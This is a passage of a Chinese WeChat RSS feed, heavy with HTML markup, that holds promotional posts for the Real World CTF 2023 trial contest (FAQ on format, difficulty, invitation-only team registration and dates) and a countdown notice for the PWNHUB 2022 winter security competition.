mpa-from-tpl="t"><section style="width: 100%;margin-bottom: 12px;" data-mid="" mpa-from-tpl="t"><section style="width: 100%;" data-mid="" mpa-from-tpl="t"><section style="width: 100%;background: rgb(237, 237, 236);padding: 8px;" data-mid="" mpa-from-tpl="t"><section style="text-align: left;width: 100%;" data-mid="" mpa-from-tpl="t"><nobr style="display: inline-block;font-size: 16px;font-family: PingFangSC-Semibold, &#39;PingFang SC&#39;;font-weight: bold;color: rgb(77, 77, 77);line-height: 22px;" data-mid=""><span style="font-family: Optima-Regular, PingFangTC-light;">问：Real World CTF是什么？</span></nobr><p style="display: inline-block;font-size: 14px;font-family: PingFangSC-Regular, &#39;PingFang SC&#39;;font-weight: 400;color: rgb(77, 77, 77);line-height: 20px;" data-mid=""><br/></p></section><section style="margin-top: 10px;display: flex;justify-content: flex-start;text-align: left;" data-mid="" mpa-from-tpl="t"><nobr style="display: inline-block;font-size: 16px;font-family: PingFangSC-Semibold, &#39;PingFang SC&#39;;font-weight: bold;color: rgb(77, 77, 77);line-height: 22px;" data-mid=""><span style="font-family: Optima-Regular, PingFangTC-light;">答：</span></nobr><p style="display: inline-block;font-size: 14px;font-family: PingFangSC-Regular, &#39;PingFang SC&#39;;font-weight: 400;color: rgb(77, 77, 77);line-height: 20px;" data-mid=""><span style="font-family: Optima-Regular, PingFangTC-light;">Real World CTF是由长亭科技主办的国际级CTF大赛，全球首创CTF夺旗赛和破解赛结合的全新赛制，特点是赛题基本基于现实世界软件的修改或二次开发。</span></p></section></section><section style="display: flex;justify-content: center;align-items: center;width: 100%;margin-top: 6px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><section style="margin: 0px 1px;width: 4px;height: 4px;background: rgb(144, 144, 144);border-radius: 50%;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section><section style="margin: 0px 1px;width: 4px;height: 4px;background: rgb(144, 144, 144);border-radius: 50%;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section><section style="margin: 0px 1px;width: 4px;height: 4px;background: rgb(144, 144, 144);border-radius: 50%;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section></section><section style="width: 100%;height: 1px;background-color: rgb(144, 144, 144);margin: 0px 4px;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section><section style="display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><section style="margin: 0px 1px;width: 4px;height: 4px;background: rgb(144, 144, 144);border-radius: 50%;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section><section style="margin: 0px 1px;width: 4px;height: 4px;background: rgb(144, 144, 144);border-radius: 50%;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section><section style="margin: 0px 1px;width: 4px;height: 4px;background: rgb(144, 144, 144);border-radius: 50%;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section></section></section></section></section><section style="width: 100%;margin-bottom: 12px;" data-mid="" mpa-from-tpl="t"><section style="width: 100%;" data-mid="" mpa-from-tpl="t"><section style="width: 100%;background: rgb(237, 237, 236);padding: 8px;" data-mid="" mpa-from-tpl="t"><section style="text-align: left;width: 100%;" data-mid="" mpa-from-tpl="t"><nobr style="display: inline-block;font-size: 16px;font-family: PingFangSC-Semibold, &#39;PingFang SC&#39;;font-weight: bold;color: rgb(77, 77, 77);line-height: 22px;" data-mid=""><span style="font-family: Optima-Regular, PingFangTC-light;">问：</span></nobr><p style="display: inline-block;font-size: 14px;font-family: PingFangSC-Regular, &#39;PingFang SC&#39;;font-weight: 400;color: rgb(77, 77, 77);line-height: 20px;" data-mid=""><span style="color: rgb(77, 77, 77);font-size: 16px;font-weight: 700;text-align: left;background-color: rgb(237, 237, 236);font-family: Optima-Regular, PingFangTC-light;">Real World CTF的体验赛是什么？</span></p></section><section style="margin-top: 10px;display: flex;justify-content: flex-start;text-align: left;" data-mid="" mpa-from-tpl="t"><nobr style="display: inline-block;font-size: 16px;font-family: PingFangSC-Semibold, &#39;PingFang SC&#39;;font-weight: bold;color: rgb(77, 77, 77);line-height: 22px;" data-mid=""><span style="font-family: Optima-Regular, PingFangTC-light;">答：</span></nobr><p style="display: inline-block;font-size: 14px;font-family: PingFangSC-Regular, &#39;PingFang SC&#39;;font-weight: 400;color: rgb(77, 77, 77);line-height: 20px;" data-mid=""><span style="font-family: Optima-Regular, PingFangTC-light;"><span style="text-indent: 0em;text-decoration-style: solid;text-decoration-color: rgb(77, 77, 77);">考虑到国际赛赛题难度较高，我们设置了只有国际赛40%难度左右的体验赛供大家入门。</span><span style="text-indent: 0em;">本届体验赛，我们诚挚邀请高校安全精英们参与进来，与我们的企业客户、合作伙伴共同参与比赛、同台竞技，共享网络安全技术新成果!</span></span><span style="text-indent: 0em;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#39;Helvetica Neue&#39;, &#39;PingFang SC&#39;, &#39;Hiragino Sans GB&#39;, &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, Arial, sans-serif;"></span></p></section></section><section style="display: flex;justify-content: center;align-items: center;width: 100%;margin-top: 6px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><section style="margin: 0px 1px;width: 4px;height: 4px;background: rgb(144, 144, 144);border-radius: 50%;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section><section style="margin: 0px 1px;width: 4px;height: 4px;background: rgb(144, 144, 144);border-radius: 50%;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section><section style="margin: 0px 1px;width: 4px;height: 4px;background: rgb(144, 144, 144);border-radius: 50%;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section></section><section style="width: 100%;height: 1px;background-color: rgb(144, 144, 144);margin: 0px 4px;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section><section style="display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><section style="margin: 0px 1px;width: 4px;height: 4px;background: rgb(144, 144, 144);border-radius: 50%;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section><section style="margin: 0px 1px;width: 4px;height: 4px;background: rgb(144, 144, 144);border-radius: 50%;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section><section style="margin: 0px 1px;width: 4px;height: 4px;background: rgb(144, 144, 144);border-radius: 50%;" data-mid="" mpa-from-tpl="t"><br/></section></section></section></section></section><section style="width: 100%;margin-bottom: 12px;" data-mid="" mpa-from-tpl="t"><section style="width: 100%;" data-mid="" mpa-from-tpl="t"><section style="width: 100%;background: rgb(237, 237, 236);padding: 8px;" data-mid="" mpa-from-tpl="t"><section style="text-align: left;width: 100%;" data-mid="" mpa-from-tpl="t"><nobr style="display: inline-block;font-size: 16px;font-family: PingFangSC-Semibold, &#39;PingFang SC&#39;;font-weight: bold;color: rgb(77, 77, 77);line-height: 22px;" data-mid=""><span style="font-family: Optima-Regular, PingFangTC-light;">问：高校</span></nobr><p style="display: inline-block;font-size: 14px;font-family: PingFangSC-Regular, &#39;PingFang SC&#39;;font-weight: 400;color: rgb(77, 77, 77);line-height: 20px;" data-mid=""><span style="color: rgb(77, 77, 77);font-size: 16px;font-weight: 700;text-align: left;background-color: rgb(237, 237, 236);font-family: Optima-Regular, PingFangTC-light;">如何报名体验赛呢？</span></p></section><section style="margin-top: 10px;display: flex;justify-content: flex-start;text-align: left;" data-mid="" mpa-from-tpl="t"><nobr style="display: inline-block;font-size: 16px;font-family: PingFangSC-Semibold, &#39;PingFang SC&#39;;font-weight: bold;color: rgb(77, 77, 77);line-height: 22px;" data-mid=""><span style="font-family: Optima-Regular, PingFangTC-light;">答：</span></nobr><p style="display: inline-block;font-size: 14px;font-family: PingFangSC-Regular, &#39;PingFang SC&#39;;font-weight: 400;color: rgb(77, 77, 77);line-height: 20px;" data-mid=""><span style="font-family: Optima-Regular, PingFangTC-light;text-indent: 0em;">本次体验赛采用定向邀请制，以战队形式参赛，如有参赛意愿，后台回复“</span><span style="font-family: Optima-Regular, PingFangTC-light;color: rgb(214, 168, 65);"><em><strong><span style="font-family: Optima-Regular, PingFangTC-light;text-indent: 0em;">我要报名</span></strong></em></span><span style="font-family: Optima-Regular, PingFangTC-light;text-indent: 0em;">”获取参赛方式。</span></p></section></section><section style="display: flex;justify-content: center;align-items: center;width: 100%;margin-top: 6px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><section style="margin: 0px 1px;width: 4px;height: 4px;background: rgb(144, 144, 144);border-radius: 50%;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section><section style="margin: 0px 1px;width: 4px;height: 4px;background: rgb(144, 144, 144);border-radius: 50%;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section><section style="margin: 0px 1px;width: 4px;height: 4px;background: rgb(144, 144, 144);border-radius: 50%;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section></section><section style="width: 100%;height: 1px;background-color: rgb(144, 144, 144);margin: 0px 4px;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section><section style="display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><section style="margin: 0px 1px;width: 4px;height: 4px;background: rgb(144, 144, 144);border-radius: 50%;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section><section style="margin: 0px 1px;width: 4px;height: 4px;background: rgb(144, 144, 144);border-radius: 50%;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section><section style="margin: 0px 1px;width: 4px;height: 4px;background: rgb(144, 144, 144);border-radius: 50%;" data-mid="" mpa-from-tpl="t"><br/></section></section></section></section></section><section style="width: 100%;margin-bottom: 12px;" data-mid="" mpa-from-tpl="t"><section style="width: 100%;" data-mid="" mpa-from-tpl="t"><section style="width: 100%;background: rgb(237, 237, 236);padding: 8px;" data-mid="" mpa-from-tpl="t"><section style="text-align: left;width: 100%;" data-mid="" mpa-from-tpl="t"><nobr style="display: inline-block;font-size: 16px;font-family: PingFangSC-Semibold, &#39;PingFang SC&#39;;font-weight: bold;color: rgb(77, 77, 77);line-height: 22px;" data-mid=""><span style="font-family: Optima-Regular, PingFangTC-light;">问：体验赛比赛</span></nobr><p style="display: inline-block;font-size: 14px;font-family: PingFangSC-Regular, &#39;PingFang SC&#39;;font-weight: 400;color: rgb(77, 77, 77);line-height: 20px;" data-mid=""><span style="color: rgb(77, 77, 77);font-size: 16px;font-weight: 700;text-align: left;background-color: rgb(237, 237, 236);font-family: Optima-Regular, PingFangTC-light;">时间是什么时候？</span></p></section><section style="margin-top: 10px;display: flex;justify-content: flex-start;text-align: left;" data-mid="" mpa-from-tpl="t"><nobr style="display: inline-block;font-size: 16px;font-family: PingFangSC-Semibold, &#39;PingFang SC&#39;;font-weight: bold;color: rgb(77, 77, 77);line-height: 22px;" data-mid=""><span style="font-family: Optima-Regular, PingFangTC-light;">答：</span></nobr><p style="display: inline-block;font-size: 14px;font-family: PingFangSC-Regular, &#39;PingFang SC&#39;;font-weight: 400;color: rgb(77, 77, 77);line-height: 20px;" data-mid=""><span style="color: rgb(136, 136, 136);"><span style="color: rgb(136, 136, 136);text-indent: 0em;font-family: Optima-Regular, PingFangTC-light;text-align: left;"><span style="color: rgb(77, 77, 77);font-family: Optima-Regular, PingFangTC-light;font-size: 14px;text-align: left;background-color: rgb(237, 237, 236);">2023年1月8日10:00—1月9日10:00</span></span><strong><span style="color: rgb(136, 136, 136);text-indent: 0em;font-family: Optima-Regular, PingFangTC-light;text-align: left;"><span style="color: rgb(77, 77, 77);font-family: Optima-Regular, PingFangTC-light;font-size: 14px;text-align: left;background-color: rgb(237, 237, 236);"></span></span></strong></span></p></section></section><section style="display: flex;justify-content: center;align-items: center;width: 100%;margin-top: 6px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><section style="margin: 0px 1px;width: 4px;height: 4px;background: rgb(144, 144, 144);border-radius: 50%;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section><section style="margin: 0px 1px;width: 4px;height: 4px;background: rgb(144, 144, 144);border-radius: 50%;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section><section style="margin: 0px 1px;width: 4px;height: 4px;background: rgb(144, 144, 144);border-radius: 50%;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section></section><section style="width: 100%;height: 1px;background-color: rgb(144, 144, 144);margin: 0px 4px;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section><section style="display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><section style="margin: 0px 1px;width: 4px;height: 4px;background: rgb(144, 144, 144);border-radius: 50%;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section><section style="margin: 0px 1px;width: 4px;height: 4px;background: rgb(144, 144, 144);border-radius: 50%;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section><section style="margin: 0px 1px;width: 4px;height: 4px;background: rgb(144, 144, 144);border-radius: 50%;" data-mid="" mpa-from-tpl="t"><br/></section></section></section></section></section></section></section></section></section><section data-mpa-template="t" data-mpa-template-id="526" data-mpa-category="模板" mpa-from-tpl="t"><section data-mpa-category="模板" data-mid="" mpa-from-tpl="t" style="display: flex;flex-direction: column;"><section data-mid="" mpa-from-tpl="t" style="width: 29px;height: 31px;align-self: center;display: flex;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="1.0555555555555556" data-w="180" src="https://wechat2rss.xlab.app/img-proxy/?k=e7760371&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FlycWmog36MtYSNMy8gOHsKZvl1zx6SEiaYSAhul4R7wraq6GD6WL3P0FpKL9tRPoD4028dOJAlGHcNlkhONbfaA%2F640%3Fwx_fmt%3Dgif"/></section></section></section><p style="margin-bottom: 16px;white-space: normal;text-align: center;line-height: normal;"><span style="font-size: 16px;"><strong><span style="letter-spacing: 0.5px;color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;">RealWorld 2023 体验赛高校报名通道开启</span></strong></span></p><p style="margin-bottom: 16px;white-space: normal;text-align: center;line-height: normal;"><span style="font-size: 16px;"><span style="letter-spacing: 0.5px;color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;">后台回复“</span><strong><em><span style="font-family: Optima-Regular, PingFangTC-light;letter-spacing: 0.5px;color: rgb(214, 168, 65);">我要报名</span></em></strong><span style="letter-spacing: 0.5px;color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;">”参与赛事！！</span></span></p><p style="margin-bottom: 16px;white-space: normal;text-align: center;line-height: normal;"><span style="font-size: 16px;"><span style="letter-spacing: 0.5px;color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;"><br/></span></span></p><section data-mpa-template="t" mpa-from-tpl="t" mp-original-font-size="17" mp-original-line-height="27.200000762939453" style="outline: 0px;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;line-height: 27.2px;"><section data-mpa-template="t" data-mpa-template-id="383" data-mpa-category="模板" mpa-from-tpl="t" mp-original-font-size="17" mp-original-line-height="27.200000762939453" style="outline: 0px;line-height: 27.2px;"><section data-mpa-category="模板" data-mid="" mpa-from-tpl="t" mp-original-font-size="17" mp-original-line-height="27.200000762939453" style="outline: 0px;display: flex;justify-content: center;align-items: center;width: 677px;line-height: 27.2px;"><section data-mid="" mpa-from-tpl="t" mp-original-font-size="17" mp-original-line-height="27.200000762939453" style="padding-right: 8px;padding-left: 8px;outline: 0px;height: 26px;background-color: rgb(19, 20, 21);line-height: 27.2px;"><p data-mid="" mp-original-font-size="16" mp-original-line-height="26" style="outline: 0px;font-size: 16px;font-family: PingFangSC-Semibold, &#39;PingFang SC&#39;;font-weight: bold;color: rgb(255, 255, 255);line-height: 26px;">END</p></section></section></section></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247500309">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=6c368e0e&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI2OTUzMzg3Ng%3D%3D%26mid%3D2247500309%26idx%3D1%26sn%3D33a298e74b35a3c3782b78636dbf88d5%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 16 Dec 2022 10:00:00 +0800</pubDate>
    </item>
    <item>
      <title>PWNHUB2022冬季赛｜倒计时3天！</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI2OTUzMzg3Ng==&amp;mid=2247500301&amp;idx=1&amp;sn=5cada74c55e13722a2e34d25deb0dd4c</link>
      <description>戴好口罩，我们比赛见！</description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2022-12-14 10:00</span> <span style="display: inline-block;">北京</span>
</p>

<p>戴好口罩，我们比赛见！</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=ff07831f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FtzAD45OOV0aSYicH7BPDNHD0xuiaZPppjqOmbcQ5lNgib8t1nG0ThQ9ItbRHdtvP83s8t2bzTkEFiaQCFnhAlygoXw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="text-align: center;line-height: normal;margin-top: 0px;margin-bottom: 8px;" data-mpa-powered-by="yiban.io"><span style="color: rgb(2, 30, 170);font-family: Optima-Regular, PingFangTC-light;letter-spacing: 0.5px;"> </span><strong style="color: rgb(2, 30, 170);font-family: Optima-Regular, PingFangTC-light;letter-spacing: 0.5px;">P</strong><strong style="color: rgb(2, 30, 170);font-family: Optima-Regular, PingFangTC-light;letter-spacing: 0.5px;">WNHUB2022冬季网络安全大赛</strong></section><section style="text-align: center;line-height: normal;margin-top: 0px;margin-bottom: 8px;"><span style="letter-spacing: 0.5px;"><span style="font-family: Optima-Regular, PingFangTC-light;color: rgb(0, 0, 0);">倒计时</span><span style="font-family: Optima-Regular, PingFangTC-light;color: rgb(2, 30, 170);font-size: 20px;"> <strong>3</strong></span><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 20px;color: rgb(2, 30, 170);"><strong> </strong></span><span style="font-family: Optima-Regular, PingFangTC-light;color: rgb(0, 0, 0);">天！</span></span></section><section style="text-align: center;line-height: normal;margin-top: 0px;margin-bottom: 8px;"><span style="letter-spacing: 0.5px;"><span style="font-family: Optima-Regular, PingFangTC-light;color: rgb(0, 0, 0);"><strong style="text-align: center;white-space: normal;color: rgb(2, 30, 170);font-family: Optima-Regular, PingFangTC-light;letter-spacing: 0.5px;"><strong style="color: rgb(0, 0, 0);">12月17日10:00—12月18日22:00</strong></strong></span></span></section><section style="text-align: center;line-height: normal;margin-top: 0px;margin-bottom: 8px;"><span style="letter-spacing: 0.5px;"><span style="font-family: Optima-Regular, PingFangTC-light;color: rgb(0, 0, 0);">36</span></span><span style="letter-spacing: 0.5px;"><span style="font-family: Optima-Regular, PingFangTC-light;color: rgb(0, 0, 0);">小时赛道充斥无限可能</span></span></section><section style="text-align: center;line-height: normal;margin-top: 0px;margin-bottom: 8px;"><span style="letter-spacing: 0.5px;"><span style="font-family: Optima-Regular, PingFangTC-light;color: rgb(0, 0, 0);">点亮你的高光时刻！！</span></span><span style="color: rgb(34, 34, 34);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;caret-color: rgb(34, 34, 34);"></span></section><section style="text-align: center;line-height: normal;margin-top: 0px;margin-bottom: 8px;"><span style="color: rgb(0, 0, 0);letter-spacing: 0.5px;font-family: Optima-Regular, PingFangTC-light;font-size: 15px;">赛事网址：<a href="http://ctf.pwnhub.cn/" target="_blank">http://ctf.pwnhub.cn/</a></span></section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.7777777777777777" data-s="300,640" style="" data-type="jpeg" data-w="1242" src="https://wechat2rss.xlab.app/img-proxy/?k=3df056ea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FtzAD45OOV0ZQBUO7eF7Oia40Uic8wqtpiajwR1Y5uvahTg4ZIAufHZREcdp1SrUnzVU7xtsCfzlPPW6IhysGfb4Ig%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4255555555555556" data-s="300,640" style="" data-type="jpeg" data-w="900" src="https://wechat2rss.xlab.app/img-proxy/?k=91668365&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FtzAD45OOV0aSYicH7BPDNHD0xuiaZPppjq5RVz2rT69wR4vFpTwXBc8DA0rqQC9ialMaYwc5CcnicnCl1IaM7UTFlQ%2F640%3Fwx_fmt%3Djpeg"/></p><section data-mpa-template="t" mpa-from-tpl="t"><section style="width: 100%;display: flex;justify-content: center;align-items: center;padding: 0px 12px;" data-mid="" mpa-from-tpl="t"><section style="width: 100%;display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><section style="width: 31px;height: 8px;display: flex;justify-content: center;align-items: center;transform: rotateY(180deg);" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-w="62" style="display: block;" data-ratio="0.25806451612903225" src="https://wechat2rss.xlab.app/img-proxy/?k=72091d81&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F2mrd7CkYicOrTTQvwiaesYU1ic4d9gu6ClgxeyYcsQoMQ3uJBvM0PWDwHtFEWugoc61uF0IA8Qppia1iczcEABP6RHg%2F640%3Fwx_fmt%3Dpng"/></section></section><section data-mpa-template-rows="1" style="width: 100%;margin-top: 11px;" data-mid="" mpa-from-tpl="t"><section style="width: 100%;margin-bottom: 12px;" data-mid="" mpa-from-tpl="t"><section style="width: 100%;" data-mid="" mpa-from-tpl="t"><section style="width: 100%;background: rgb(237, 237, 236);padding: 8px;" data-mid="" mpa-from-tpl="t"><section style="text-align: left;width: 100%;" data-mid="" mpa-from-tpl="t"><nobr style="display: inline-block;font-size: 16px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(77, 77, 77);line-height: 22px;" data-mid=""><span style="font-family: Optima-Regular, PingFangTC-light;">问：Real World CTF是什么？</span></nobr><p style="display: inline-block;font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;font-weight: 400;color: rgb(77, 77, 77);line-height: 20px;" data-mid=""><br/></p></section><section style="margin-top: 10px;display: flex;justify-content: flex-start;text-align: left;" data-mid="" mpa-from-tpl="t"><nobr style="display: inline-block;font-size: 16px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(77, 77, 77);line-height: 22px;" data-mid=""><span style="font-family: Optima-Regular, PingFangTC-light;">答：</span></nobr><p style="display: inline-block;font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;font-weight: 400;color: rgb(77, 77, 77);line-height: 20px;" data-mid=""><span style="font-family: Optima-Regular, PingFangTC-light;">Real World CTF是由长亭科技主办的国际级CTF大赛，全球首创CTF夺旗赛和破解赛结合的全新赛制，特点是赛题基本基于现实世界软件的修改或二次开发。</span></p></section></section><section style="display: flex;justify-content: center;align-items: center;width: 100%;margin-top: 6px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><section style="margin: 0px 1px;width: 4px;height: 4px;background: rgb(144, 144, 144);border-radius: 50%;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section><section style="margin: 0px 1px;width: 4px;height: 4px;background: rgb(144, 144, 144);border-radius: 50%;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section><section style="margin: 0px 1px;width: 4px;height: 4px;background: rgb(144, 144, 144);border-radius: 50%;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section></section><section style="width: 100%;height: 1px;background-color: rgb(144, 144, 144);margin: 0px 4px;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section><section style="display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><section style="margin: 0px 1px;width: 4px;height: 4px;background: rgb(144, 144, 144);border-radius: 50%;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section><section style="margin: 0px 1px;width: 4px;height: 4px;background: rgb(144, 144, 144);border-radius: 50%;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section><section style="margin: 0px 1px;width: 4px;height: 4px;background: rgb(144, 144, 144);border-radius: 50%;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section></section></section></section></section><section style="width: 100%;margin-bottom: 12px;" data-mid="" mpa-from-tpl="t"><section style="width: 100%;" data-mid="" mpa-from-tpl="t"><section style="width: 100%;background: rgb(237, 237, 236);padding: 8px;" data-mid="" mpa-from-tpl="t"><section style="text-align: left;width: 100%;" data-mid="" mpa-from-tpl="t"><nobr style="display: inline-block;font-size: 16px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(77, 77, 77);line-height: 22px;" data-mid=""><span style="font-family: Optima-Regular, PingFangTC-light;">问：</span></nobr><p style="display: inline-block;font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;font-weight: 400;color: rgb(77, 77, 77);line-height: 20px;" data-mid=""><span style="color: rgb(77, 77, 77);font-size: 16px;font-weight: 700;text-align: left;background-color: rgb(237, 237, 236);font-family: Optima-Regular, PingFangTC-light;">Real World CTF的体验赛是什么？</span></p></section><section style="margin-top: 10px;display: flex;justify-content: flex-start;text-align: left;" data-mid="" mpa-from-tpl="t"><nobr style="display: inline-block;font-size: 16px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(77, 77, 77);line-height: 22px;" data-mid=""><span style="font-family: Optima-Regular, PingFangTC-light;">答：</span></nobr><p style="display: inline-block;font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;font-weight: 400;color: rgb(77, 77, 77);line-height: 20px;" data-mid=""><span style="font-family: Optima-Regular, PingFangTC-light;"><span style="text-indent: 0em;text-decoration-style: solid;text-decoration-color: rgb(77, 77, 77);">考虑到国际赛赛题难度较高，我们设置了只有国际赛40%难度左右的体验赛供大家入门。</span><span style="text-indent: 0em;">本届体验赛，我们诚挚邀请高校安全精英们参与进来，与我们的企业客户、合作伙伴共同参与比赛、同台竞技，共享网络安全技术新成果!</span></span><span style="text-indent: 0em;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p></section></section><section style="display: flex;justify-content: center;align-items: center;width: 100%;margin-top: 6px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><section style="margin: 0px 1px;width: 4px;height: 4px;background: rgb(144, 144, 144);border-radius: 50%;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section><section style="margin: 0px 1px;width: 4px;height: 4px;background: rgb(144, 144, 144);border-radius: 50%;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section><section style="margin: 0px 1px;width: 4px;height: 4px;background: rgb(144, 144, 144);border-radius: 50%;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section></section><section style="width: 100%;height: 1px;background-color: rgb(144, 144, 144);margin: 0px 4px;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section><section style="display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><section style="margin: 0px 1px;width: 4px;height: 4px;background: rgb(144, 144, 144);border-radius: 50%;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section><section style="margin: 0px 1px;width: 4px;height: 4px;background: rgb(144, 144, 144);border-radius: 50%;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section><section style="margin: 0px 1px;width: 4px;height: 4px;background: rgb(144, 144, 144);border-radius: 50%;" data-mid="" mpa-from-tpl="t"><br/></section></section></section></section></section><section style="width: 100%;margin-bottom: 12px;" data-mid="" mpa-from-tpl="t"><section style="width: 100%;" data-mid="" mpa-from-tpl="t"><section style="width: 100%;background: rgb(237, 237, 236);padding: 8px;" data-mid="" mpa-from-tpl="t"><section style="text-align: left;width: 100%;" data-mid="" mpa-from-tpl="t"><nobr style="display: inline-block;font-size: 16px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(77, 77, 77);line-height: 22px;" data-mid=""><span style="font-family: Optima-Regular, PingFangTC-light;">问：高校</span></nobr><p style="display: inline-block;font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;font-weight: 400;color: rgb(77, 77, 77);line-height: 20px;" data-mid=""><span style="color: rgb(77, 77, 77);font-size: 16px;font-weight: 